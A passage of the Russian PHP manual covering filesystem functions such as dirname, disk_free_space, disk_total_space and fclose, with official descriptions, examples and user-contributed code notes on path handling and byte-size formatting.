      $newname = $name . ' 1';
      $cutlen = 7; // ' copy' + ' 1'
    }else{
      $newname = $name . ' copy';
      $cutlen = 5; // ' copy'
    }
    if ($ext) {
      $newname .= '.' . $ext;
      $cutlen += strlen($ext) + 1;
    }
    if ($max > 0) {
      if (strlen($newname) > $max) {
        $newname = substr($newname, 0, max($max - $cutlen, 0)) . substr($newname, -$cutlen);
        if (strlen($newname) > $max) {echo "duplicate_name() error: Can't keep the new name under given max length.\n"; return false;}
      }
    }
    if ($counter++ > 500) {echo "duplicate_name() error: Too many similarly named files or infinite while loop.\n"; return false;}
  } while (in_array($newname, $list));
  return $newname;
}

?>

*1) The Finder seems to check the extension vs a list of known extensions, this function considers it valid if it's 5 or fewer characters long.

ps. sorry for taking up so much space! :-)
cooper at asu dot ntu-kpi dot kiev dot ua 09-Mar-2006 04:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
simonr_at_orangutan_dot_co_dot_uk 03-Sep-2004 01:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
kadnan at yahoo dot com 29-Aug-2004 10:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan


Смотрите описание функции unlink или unset

  • « copy
  • dirname »
  • PHP Manual
  • Функции файловой системы
  • Смотрите описание функции unlink или unset

delete

delete — Смотрите описание функции unlink() или unset()

Описание

В PHP отсутствует функция с именем delete. Если вы попали на эту страницу в поисках функции удаления файла, то вам стоит воспользоваться функцией unlink(). Если же вам надо удалить переменную в локальной области видимости, то вам нужна функция unset().

Смотрите также

  • unlink() - Удаляет файл
  • unset() - Удаляет переменную

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя родительского каталога из указанного пути

  • « delete
  • disk_free_space »
  • PHP Manual
  • Функции файловой системы
  • Возвращает имя родительского каталога из указанного пути

dirname

(PHP 4, PHP 5, PHP 7, PHP 8)

dirname — Возвращает имя родительского каталога из указанного пути

Описание

dirname(string $path, int $levels = 1): string

Получив строку, содержащую путь к файлу или каталогу, данная функция возвратит родительский каталог данного пути на levels уровней вверх.

Замечание:

Функция dirname() наивно оперирует исключительно исходной строкой и не учитывает реальную файловую систему или компоненты пути типа "..".

Предостережение

В Windows dirname() предполагает текущую установленную кодовую страницу, поэтому для того, чтобы видеть правильное имя каталога с путями многобайтовых символов, необходимо установить соответствующую кодовую страницу. Если path содержит символы, недопустимые для текущей кодовой страницы, поведение dirname() не определено.

В других системах dirname() предполагает, что path закодирован в кодировке, совместимой с ASCII. В противном случае поведение функции не определено.

Список параметров

path

Путь.

На платформах Windows в качестве разделителей имён директорий используются оба слеша (прямой / и обратный \). В других операционных системах разделителем служит прямой слеш (/).

levels

На сколько уровней вложенности вверх необходимо пройти.

Должно быть целым числом больше 0.

Возвращаемые значения

Возвращает путь к родительской директории. Если в параметре path не содержится слешей, будет возвращена точка ('.'), обозначающая текущую директорию. В другом случае будет возвращён path без последнего компонента /component.

Предостережение

Будьте осторожны при использовании этой функции в цикле, который может достичь каталога верхнего уровня, так как это может привести к бесконечному циклу.

<?php
dirname('.'); // Вернёт '.'.
dirname('/'); // Вернёт `\` в Windows и '/' в *nix системах.
dirname('\\'); // Вернёт `\` в Windows и '.' в *nix системах.
dirname('C:\\'); // Вернёт 'C:\' в Windows и '.' в *nix системах.
?>

Список изменений

Версия | Описание
7.0.0 | Добавлен необязательный параметр levels.

Примеры

Пример #1 Пример использования функции dirname()

<?php
echo dirname("/etc/passwd") . PHP_EOL;
echo dirname("/etc/") . PHP_EOL;
echo dirname(".") . PHP_EOL;
echo dirname("C:\\") . PHP_EOL;
echo dirname("/usr/local/lib", 2);.

Результатом выполнения данного примера будет что-то подобное:

/etc
/ (или \ в Windows)
.
C:\
/usr

Смотрите также

  • basename() - Возвращает последний компонент имени из указанного пути
  • pathinfo() - Возвращает информацию о пути к файлу
  • realpath() - Возвращает канонизированный абсолютный путь к файлу

User Contributed Notes

bobray at softville dot com 28-Dec-2018 05:04
Be aware that if you call dirname(__FILE__) on Windows, you may get backslashes. If you then try to use str_replace() or preg_replace() to replace part of the path using forward slashes in your search pattern, there will be no match. You can normalize paths with $path = str_replace('\\',  '/' ,$path) before doing any transformations
qeremy (!) gmail 13-Dec-2015 01:01
After PHP 7;
<?php
print dirname("/usr/local/lib", 2); # /usr
?>

Before PHP 7;
<?php
print dirname(dirname("/usr/local/lib")); # /usr

# or
function dirname_with_levels($path, $levels = 1) {
    while ($levels--) {
        $path = dirname($path);
    }
    return $path;
}
print dirname_with_levels("/usr/local/lib", 2); # /usr
?>
y dot a dot dejong at singular dot of dot alumni dot utwente dot nl 22-Oct-2014 07:51
As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__)
iam at shaz3e dot com 11-Mar-2014 01:34
File located locally in: F:\localhost\www\Shaz3e-ResponsiveFramework\S3-CMS\_source

Localhost Path: http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source/

Example 1: dirname($_SERVER['PHP_SELF']); //output:  /Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 2: "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); //output:  http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 3: $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']); //output:  s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source
frederikreiss at gmx dot de 11-Sep-2013 09:55
what about a recursive dirname. To get $count levels up in a directory.

<?php

function r_dirname($path, $count=1){
    if ($count > 1){
       return dirname(r_dirname($path, --$count));
    }else{
       return dirname($path);
    }
}
Yousef Ismaeil Cliprz 18-Feb-2013 02:39
You can get best root path if you want to call a file from you project paths.

Make sure this define in your www/index.php

or the core file that inside www/ root.

<?php

/**
 * @def (string) DS - Directory separator.
 */
define("DS","/",true);

/**
 * @def (resource) BASE_PATH - get a base path.
 */
define('BASE_PATH',realpath(dirname(__FILE__)).DS,true);

?>

You can call any file any time without any problems

<?php

include BASE_PATH.'inc/class.php';

?>
minimalist at intelligence dot com 10-Mar-2012 05:33
If you want to get the parent parent directory of your script, you can use this:

<?php
 //Example script path: home/content/en/script.php
 $parentparentdir=basename(dirname(dirname(__FILE__)));
 echo $parentparentdir; //will output 'content'
?>
nhl261 at yahoo dot com 26-Jun-2011 08:54
As usual, to include or require a file, we use this
<?php
require dirname(__FILE__) . DIRECTORY_SEPARATOR . 'my_file.php';
?>

in rare case, we have current file existing at the root directory, dirname would return C:\ or / , then the line above contains 2 slashes \\ or //
To handle this this case, we use rtrim to clear slashes.
<?php
require rtrim(dirname(__FILE__), '/\\') . DIRECTORY_SEPARATOR . 'my_file.php';
?>

Also, another use of dirname is to get virtual directory (url path), the issue is the same as above, we have to check and process before concatenating strings
subzey at immelman dot ru 07-Sep-2010 09:51
In some situations (I can't locate the dependencies) basename and dirname may return incorrect values if parsed string is in UTF-8.

Like, dirname("glossary/задний-фокус") will return "glossary" and basename("glossary/задний-фокус") will return "-фокус".

Quickfix is
str_replace("!$!", "", dirname(str_replace("/", "!$!/!$!", $q)))
webyazilimci84 at gmail dot com 25-Nov-2009 06:06
In my mvc based framework i make BASE_PATH and BASE_URL definitions like the following and both work well in the framework without problem.

index.php :

define('BASE_PATH',realpath('.'));
define('BASE_URL', dirname($_SERVER["SCRIPT_NAME"]));

BASE_PATH is for server side inclusions.
BASE_URL is for client side inclusions (scripts, css files, images etc.)
ken dot forslund at hp dot com 29-May-2009 01:33
A key problem to hierarchical include trees is that PHP processes include paths relative to the original file, not the current including file.

A solution to that, is to prefix all include paths with:
<?php str_replace('//','/',dirname(__FILE__)); ?>

this will generate a base path relative to the current file, which will then allow an include behavior similar to C/C++.

thus, to include a file that is 1 in the parent directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'../parent.php'); ?>

to include a file that is in the same directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'neighbor.php'); ?>

to include a file that is in a subdirectory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'folder/sub.php'); ?>

Notice that all paths we reference must NOT begin with a /, and must be relative to the current file, in order to concatenate correctly.
joe dot naylor at gmail dot com 13-Dec-2008 10:07
The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this:
$url = dirname($_SERVER['PHP_SELF']) . '/somepage.php';

However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'.  If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php.

I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking.

The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me:

<?php
function safe_dirname($path)
{
   $dirname = dirname($path);
   return $dirname == '/' ? '' : $dirname;
}
?>
Tom 20-Jul-2008 11:13
Expanding on Anonymous' comment, this is not necessarily correct. If the user is using a secure protocol, this URL is inaccurate. This will work properly:

<?php

// Is the user using HTTPS?
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')) ? 'https://' : 'http://';

// Complete the URL
$url .= $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);

// echo the URL
echo $url;

?>
Anonymous 04-Jun-2008 01:01
A simple way to show the www path to a folder containing a file...

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
rmahase at gmail dot com 11-May-2008 11:31
this little function gets the top level public directory

eg. http://www.mysite.com/directory1/file.php

or http://www.mysite.com/directory1/directory2/directory3/file.php

will both return "directory1" ...which is the top level directory

<?php
function public_base_directory()
{
    //get public directory structure eg "/top/second/third"
    $public_directory = dirname($_SERVER['PHP_SELF']);
    //place each directory into array
    $directory_array = explode('/', $public_directory);
    //get highest or top level in array of directory strings
    $public_base = max($directory_array);

    return $public_base;
}
?>
ts at dev dot websafe dot pl 23-Mar-2008 03:55
Inside of script.php I needed to know the name of the containing directory. For example, if my script was in '/var/www/htdocs/website/somedir/script.php' i needed to know 'somedir' in a unified way.

The solution is:
<?php
$containing_dir = basename(dirname(__FILE__));
?>
Zingus J. Rinkle 10-Sep-2007 10:55
Most mkpath() function I saw listed here seem long and convoluted.
Here's mine:

<?php
  function mkpath($path)
  {
    if(@mkdir($path) or file_exists($path)) return true;
    return (mkpath(dirname($path)) and mkdir($path));
  }
?>

Untested on windows, but dirname() manual says it should work.
hans111 at yahoo dot com 26-Jan-2007 04:25
The same function but a bit improved, will use REQUEST_URI, if not available, will use PHP_SELF and if not available will use __FILE__, in this case, the function MUST be in the same file. It should work, both under Windows and *NIX.

<?php
function my_dir(){
    return end(explode('/', dirname(!empty($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : !empty($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : str_replace('\\','/',__FILE__))));
}

?>
Xedecimal at gmail dot com 24-Oct-2006 11:35
Getting absolute path of the current script:

<?php
dirname(__FILE__)
?>

Getting webserver relative path of the current script...

<?php
function GetRelativePath($path)
{
    $npath = str_replace('\\', '/', $path);
    return str_replace(GetVar('DOCUMENT_ROOT'), '', $npath);
}
?>

later on

<?php
GetRelativePath(dirname(__FILE__));
?>

If anyone has a better way, get to the constructive critisism!
legolas558 dot sourceforge comma net 10-Jul-2006 06:52
The best way to get the absolute path of the folder of the currently parsed PHP script is:

<?php

if (DIRECTORY_SEPARATOR=='/')
  $absolute_path = dirname(__FILE__).'/';
else
  $absolute_path = str_replace('\\', '/', dirname(__FILE__)).'/';

?>

This will result in an absolute unix-style path which works ok also on PHP5 under Windows, where mixing '\' and '/' may give troubles.

[EDIT by danbrown AT php DOT net: Applied author-supplied fix from follow-up note.]
renich at woralelandia dot com 10-Aug-2005 10:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl 18-Jul-2005 07:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com 24-Jun-2005 06:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
Holger Th?lking 27-Apr-2005 03:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
      $dir    = realpath ($file);
      $in_dir = realpath ($in_dir);

      if (!is_dir ($file)) {
          $dir = dirname ($file);
      }

      do {
          if ($dir === $in_dir) {
              $is_in_dir = TRUE;
              break;
          }
      } while ($dir !== ($dir = dirname ($dir)));

      return (bool) @$is_in_dir;
  }
?>
soywiz at hotmail dot com 01-Jan-2004 06:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
andrey at php dot net 14-Jan-2003 07:02
Code for write permissions check:

<?php
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
    $b_is_writable = is_writable($dir_name);
    echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
?>
rudecoder at yahoo dot com 11-Jan-2003 12:43
dirname can be used to create self referencing web scripts with the following one liner.

<?php
$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));
?>

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us 08-Jan-2003 10:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

<?php
if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));
?>

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
tapken at engter dot de 30-Apr-2002 12:09
To get the directory of current included file:

<?php
dirname(__FILE__);
?>

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

<?php
include_once(dirname(__FILE__) . '/database.class.php');
?>


Возвращает размер доступного пространства в каталоге или файловой системе

  • « dirname
  • disk_total_space »
  • PHP Manual
  • Функции файловой системы
  • Возвращает размер доступного пространства в каталоге или файловой системе

disk_free_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_free_space — Возвращает размер доступного пространства в каталоге или файловой системе

Описание

disk_free_space(string $directory): float|false

Функция возвращает размер свободного пространства в байтах, доступного для использования в указанном каталоге или файловой системе.

Список параметров

directory

Директория или раздел диска.

Замечание:

Если вместо директории будет передано имя файла, то поведение данной функции неизвестно и может отличаться на разных операционных системах и версиях PHP.

Возвращаемые значения

Возвращает количество свободных байт в виде числа с плавающей точкой или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования функции disk_free_space()

<?php
// $df содержит размер свободного места в каталоге "/"
$df = disk_free_space("/");

// В Windows:
$df_c = disk_free_space("C:");
$df_d = disk_free_space("D:");
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Смотрите также

  • disk_total_space() - Возвращает общий размер файловой системы или раздела диска

User Contributed Notes

Jawira Portugal 27-Dec-2021 01:07
This is not documented yet.
If $directory is invalid, then disk_free_space() will return false and ALSO throw a Warning: "disk_free_space(): No such file or directory"
pavel at sunhater dot com 20-Jun-2019 11:58
<?php

function size($size, array $options=null) {

    $o = [
        'binary' => false,
        'decimalPlaces' => 2,
        'decimalSeparator' => '.',
        'thausandsSeparator' => '',
        'maxThreshold' => false, // or thresholds key
        'sufix' => [
            'thresholds' => ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'],
            'decimal' => ' {threshold}B',
            'binary' => ' {threshold}iB'
        ]
    ];

    if ($options !== null)
        $o = array_replace_recursive($o, $options);

    $count = count($o['sufix']['thresholds']);
    $pow = $o['binary'] ? 1024 : 1000;

    for ($i = 0; $i < $count; $i++)

        if (($size < pow($pow, $i + 1)) ||
            ($i === $o['maxThreshold']) ||
            ($i === ($count - 1))
        )
            return

                number_format(
                    $size / pow($pow, $i),
                    $o['decimalPlaces'],
                    $o['decimalSeparator'],
                    $o['thausandsSeparator']
                ) .

                str_replace(
                    '{threshold}',
                    $o['sufix']['thresholds'][$i],
                    $o['sufix'][$o['binary'] ? 'binary' : 'decimal']
                );
}

var_dump(size(disk_free_space('/')));
// string(8) "14.63 GB"
var_dump(size(disk_free_space('/'), ['binary' => true]));
// string(9) "13.63 GiB"
var_dump(size(disk_free_space('/'), ['maxThreshold' => 2]));
// string(11) "14631.90 MB"
var_dump(size(disk_free_space('/'), ['binary' => true, 'maxThreshold' => 2]));
// string(12) "13954.07 MiB"

?>
Matthieu S 20-Dec-2016 11:41
On Windows, this also works with distant files, by using their full network path.

For instance, this will give the % of free disk space on the share "dir" from remote host "server" :
<?php
$path = "\\\\server\\dir";
echo(floor(100 * disk_free_space($disk) / disk_total_space($disk)));
?>

It can also work with drive letters mapped to a network path in certain cases.
somedude 23-Oct-2016 09:04
With respect to Linux filesystems, I'll point out that this function returns the space available in the current volume or mountpoint, not the total physical disk space.  That is, this function used on the '/root' volume shows the free space in /root, which is different from '/home', and so on.
Anonymous 21-Jul-2014 09:14
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );

you are missing the petabyte after terabyte

 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'

should look like

 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'
wiede at gmx dot net 11-Apr-2011 05:36
Transformation is possible WITHOUT using loops:

<?php
    $bytes = disk_free_space(".");
    $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
    $base = 1024;
    $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
    echo $bytes . '<br />';
    echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
sam 17-Dec-2008 01:52
Nice, but please be aware of the prefixes.

SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.

Do it the (newest and recommended) "IEC" way:

KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...

Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
root at mantoru dot de 06-Dec-2007 08:25
Note that disk_free_space() does an open_basedir check.
Nitrogen 10-Jan-2007 05:50
Another easy way to convert bytes to human readable sizes would be this:

<?php
function HumanSize($Bytes)
{
  $Type=array("", "kilo", "mega", "giga", "tera", "peta", "exa", "zetta", "yotta");
  $Index=0;
  while($Bytes>=1024)
  {
    $Bytes/=1024;
    $Index++;
  }
  return("".$Bytes." ".$Type[$Index]."bytes");
}
?>

It simply takes the $Bytes and divides it by 1024 bytes untill it's no longer over or equal to 1024, meanwhile it increases the $Index to allocate which suffix belongs to the return (adding 'bytes' to the end to save some space).
You can easily modify it so it's shorter, but I made it so it's more clearer.

Nitrogen.


Возвращает общий размер файловой системы или раздела диска

  • « disk_free_space
  • diskfreespace »
  • PHP Manual
  • Функции файловой системы
  • Возвращает общий размер файловой системы или раздела диска

disk_total_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_total_space — Возвращает общий размер файловой системы или раздела диска

Описание

disk_total_space(string $directory): float|false

Функция возвращает общий размер в байтах указанного раздела диска или каталога.

Список параметров

directory

Директория файловой системы или раздел диска.

Возвращаемые значения

Возвращает общий размер в байтах в виде числа с плавающей точкой или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования disk_total_space()

<?php
// $df содержит общий размер диска "/" в байтах
$ds = disk_total_space("/");

// В Windows:
$ds = disk_total_space("C:");
$ds = disk_total_space("D:");
?>

Примечания

Замечание: Эта функция неприменима для работы с удалёнными файлами, поскольку файл должен быть доступен через файловую систему сервера.

Смотрите также

  • disk_free_space() - Возвращает размер доступного пространства в каталоге или файловой системе

User Contributed Notes

ryan at designedbyrayn dot co dot uk 29-Jan-2014 09:06
<?php

//This is  a more readable way of viewing the returned float

// $Bytes contains the total number of bytes on "/"
$Bytes = disk_total_space("/");

function dataSize($Bytes)
{
$Type=array("", "kilo", "mega", "giga", "tera");
$counter=0;
while($Bytes>=1024)
{
$Bytes/=1024;
$counter++;
}
return("".$Bytes." ".$Type[$counter]."bytes");
}
?>
khumlo at gmail dot com 23-May-2010 01:36
PHP 6 has already come to the market but still there are no standard function that can help retrieve directory size as it has to calculate disk space such as disk_total_space. Although we can use system level call such as exec() and system(), it is too risky to enable these function. So we look for an alternate method so as to calculate directory size.

Sol: retrieving directory size using php

<?php

function get_dir_size($dir_name){
        $dir_size =0;
           if (is_dir($dir_name)) {
               if ($dh = opendir($dir_name)) {
                  while (($file = readdir($dh)) !== false) {
                        if($file !="." && $file != ".."){
                              if(is_file($dir_name."/".$file)){
                                   $dir_size += filesize($dir_name."/".$file);
                             }
                             /* check for any new directory inside this directory */
                             if(is_dir($dir_name."/".$file)){
                                $dir_size +=  get_dir_size($dir_name."/".$file);
                              }
                           }
                     }
             }
       }
closedir($dh);
return $dir_size;
}

$dir_name = "directory name here";
/* 1048576 bytes == 1MB */
$total_size= round((get_dir_size($dir_name) / 1048576),2) ;
print "Directory $dir_name size : $total_size MB";
?>

Depending upon the size format you want to achieve, divide directory size by 1024 or 1024 * 1024 or 1024 * 1024 * 1024 for KB or MB or GB respectively.
cotact[at]covac-software[dot]com 25-Dec-2009 06:52
Something that might go well with this function is the ability to list available disks. On Windows, here's the relevant code:

<?php
/**
 * Finds a list of disk drives on the server.
 * @return array The array velues are the existing disks.
 */
function get_disks(){
    if(php_uname('s')=='Windows NT'){
        // windows
        $disks=`fsutil fsinfo drives`;
        $disks=str_word_count($disks,1);
        if($disks[0]!='Drives')return '';
        unset($disks[0]);
        foreach($disks as $key=>$disk)$disks[$key]=$disk.':\\';
        return $disks;
    }else{
        // unix
        $data=`mount`;
        $data=explode(' ',$data);
        $disks=array();
        foreach($data as $token)if(substr($token,0,5)=='/dev/')$disks[]=$token;
        return $disks;
    }
}
?>

EXAMPLE OF USE:
<?php print_r(get_disks()); ?>

EXAMPLE RESULT:
Array
(
    [1] => A:\
    [2] => C:\
    [3] => D:\
    [4] => E:\
    [5] => F:\
    [6] => G:\
    [7] => H:\
    [8] => I:\
    [9] => M:\
    [10] => X:\
    [11] => Z:\
)

Warning: This also finds empty disk drives (eg; CD or SMD drives or the more common floppy drive).

Warning2: If you want to find space usage using the info from my function, prepend the disk function with the "@", eg:

$free=@disk_free_space('A:\\');
Viitala 04-Feb-2008 01:04
Beware of empty files!

<?php

    // Wrong
    $exp = floor(log($bytes) / log(1024));

    //Correct
    $exp = $bytes ? floor(log($bytes) / log(1024)) : 0;

?>
tularis at php dot net 25-Jun-2007 03:13
For a non-looping way to add symbols to a number of bytes:
<?php
function getSymbolByQuantity($bytes) {
    $symbols = array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB');
    $exp = floor(log($bytes)/log(1024));

    return sprintf('%.2f '.$symbol[$exp], ($bytes/pow(1024, floor($exp))));
}
stierguy1 at msn dot com 24-Jun-2007 07:03
function roundsize($size){
    $i=0;
    $iec = array("B", "Kb", "Mb", "Gb", "Tb");
    while (($size/1024)>1) {
        $size=$size/1024;
        $i++;}
    return(round($size,1)." ".$iec[$i]);}
nikolayku at tut dot by 17-Apr-2007 01:16
Very simple function that convert bytes to kilobytes, megabytes ...

function ConvertBytes($number)
{
    $len = strlen($number);
    if($len < 4)
    {
        return sprintf("%d b", $number);
    }
    if($len >= 4 && $len <=6)
    {
        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9)
    {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }

    return sprintf("%0.2f Gb", $number/1024/1024/1024);

}
JulieC 30-Jan-2007 07:11
"filesystem or disk partition" does not equal "directory" for Windows.  Thanks.
andudi at gmx dot ch 11-Jun-2002 03:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick


Псевдоним disk_free_space

  • « disk_total_space
  • fclose »
  • PHP Manual
  • Функции файловой системы
  • Псевдоним disk_free_space

diskfreespace

(PHP 4, PHP 5, PHP 7, PHP 8)

diskfreespace — Псевдоним disk_free_space()

Описание

Функция является псевдонимом: disk_free_space().

User Contributed Notes

There are no user contributed notes for this page.


Закрывает открытый дескриптор файла

  • « diskfreespace
  • fdatasync »
  • PHP Manual
  • Функции файловой системы
  • Закрывает открытый дескриптор файла

fclose

(PHP 4, PHP 5, PHP 7, PHP 8)

fclose — Закрывает открытый дескриптор файла

Описание

fclose(resource $stream): bool

Функция закрывает файл, на который указывает дескриптор stream.

Список параметров

stream

Дескриптор должен быть корректным и указывать на файл, открытый ранее с помощью функции fopen() или fsockopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример использования функции fclose()

<?php

$handle = fopen('somefile.txt', 'r');

fclose($handle);

?>

Смотрите также

  • fopen() - Открывает файл или URL
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix

User Contributed Notes

Glenn S 07-Feb-2023 12:30
Note that from PHP 8.0 onwards, attempting to close a stream that is already closed will throw a fatal TypeError.

Prior to PHP 8, this just caused a warning (that you can silence with @).
tom dot vom dot berg at online dot de 28-Apr-2014 08:38
if you want to daysychain a filehandle through some functions and each function is allowed to close th file you might look in a following function first, if the handle is still valid.

Opening a file, there often will be used a code like

if (!$fh = fopen($filename, $mode)) return false;

But if you possably have closed the file and you want to check that, a smililar statement would not work.

DOES NOT WORK:   if (!$fh)  end_of_chain();

use beter: if (is_resource($fh))   end_of_chain();
jgotti 07-Sep-2012 06:25
In case you have some trouble to properly disconnect some client streams opened with stream_socket_server / stream_select you should give a try to stream_socket_shutdown.

<?php stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR); ?>
mark at markvange * com 04-May-2006 09:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
James R. Steel 28-Nov-2005 09:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
jricher at jacquesricher dot com 01-Feb-2005 06:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
daniel7 dot martinez at ps dot ge dot com 10-Sep-2001 04:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.


